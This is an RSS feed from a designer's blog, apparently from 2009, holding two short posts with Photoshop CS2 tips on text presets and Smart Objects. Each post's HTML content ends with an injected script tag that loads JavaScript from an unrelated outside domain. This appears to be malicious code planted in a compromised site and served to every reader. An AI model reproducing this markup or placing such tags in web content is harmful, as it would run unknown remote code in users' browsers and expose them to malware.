<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>t-roy.net* &#187; Photoshop</title>
	<atom:link href="http://www.t-roy.net/category/photoshop/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.t-roy.net</link>
	<description>blog by designer troy ginbey</description>
	<lastBuildDate>Sat, 13 Jun 2009 14:05:33 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Type Preset goodness in  Photoshop</title>
		<link>http://www.t-roy.net/2007/02/03/type-preset-goodness-in-photoshop/</link>
		<comments>http://www.t-roy.net/2007/02/03/type-preset-goodness-in-photoshop/#comments</comments>
		<pubDate>Sat, 03 Feb 2007 12:53:32 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[Photoshop]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=6</guid>
		<description><![CDATA[Cool little tip I just came across.. In Photoshop CS2 you can save commonly used typeface settings in &#8216;text presets&#8217;. For example, if you use Arial, size 24 Bold with -50 tracking&#8230; you can save it, and go straight to it whenever you need.
]]></description>
			<content:encoded><![CDATA[<p>Cool little tip I just came across.. In Photoshop CS2 you can save commonly used typeface settings in &#8216;text presets&#8217;. For example, if you use Arial, size 24 Bold with -50 tracking&#8230; you can save it, and go straight to it whenever you need.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2007/02/03/type-preset-goodness-in-photoshop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Smart Objects&#8230;  actually are quite smart</title>
		<link>http://www.t-roy.net/2007/02/03/smart-objects-actually-are-quite-smart/</link>
		<comments>http://www.t-roy.net/2007/02/03/smart-objects-actually-are-quite-smart/#comments</comments>
		<pubDate>Sat, 03 Feb 2007 12:08:39 +0000</pubDate>
		<dc:creator>T-roy</dc:creator>
				<category><![CDATA[Photoshop]]></category>

		<guid isPermaLink="false">http://www.t-roy.net/?p=5</guid>
		<description><![CDATA[Ok.. I know Photoshop CS3 is on it&#8217;s way&#8230; but I&#8217;m still finding cool things in CS2&#8230; I&#8217;ve just discovered Smart Objects, and I reckon it&#8217;s going to dramatically change the way I use Photoshop. Basically, a Smart Object is a group of layers that you combine to edit as a single, non-destructive object.. meaning [...]]]></description>
			<content:encoded><![CDATA[<p>Ok.. I know Photoshop CS3 is on it&#8217;s way&#8230; but I&#8217;m still finding cool things in CS2&#8230; I&#8217;ve just discovered Smart Objects, and I reckon it&#8217;s going to dramatically change the way I use Photoshop. Basically, a Smart Object is a group of layers that you combine to edit as a single, non-destructive object.. meaning you can scale down, then rotate, then scale back up bitmap images without losing image quality&#8230;&#8230;&#8230;&#8230;&#8230;. very cool.</p>
<p>You can also create duplicates of a single smart object, which, when the original is editied, all duplicate smart objects are updated too, much like an object instance in Flash.</p>
<p>It gets better though&#8230; &#8216;Smart Filters&#8217; are on their way in CS3, which are non-destructive filters like Blurs you can add to Smart Objects&#8230; like it.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.t-roy.net/2007/02/03/smart-objects-actually-are-quite-smart/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
   

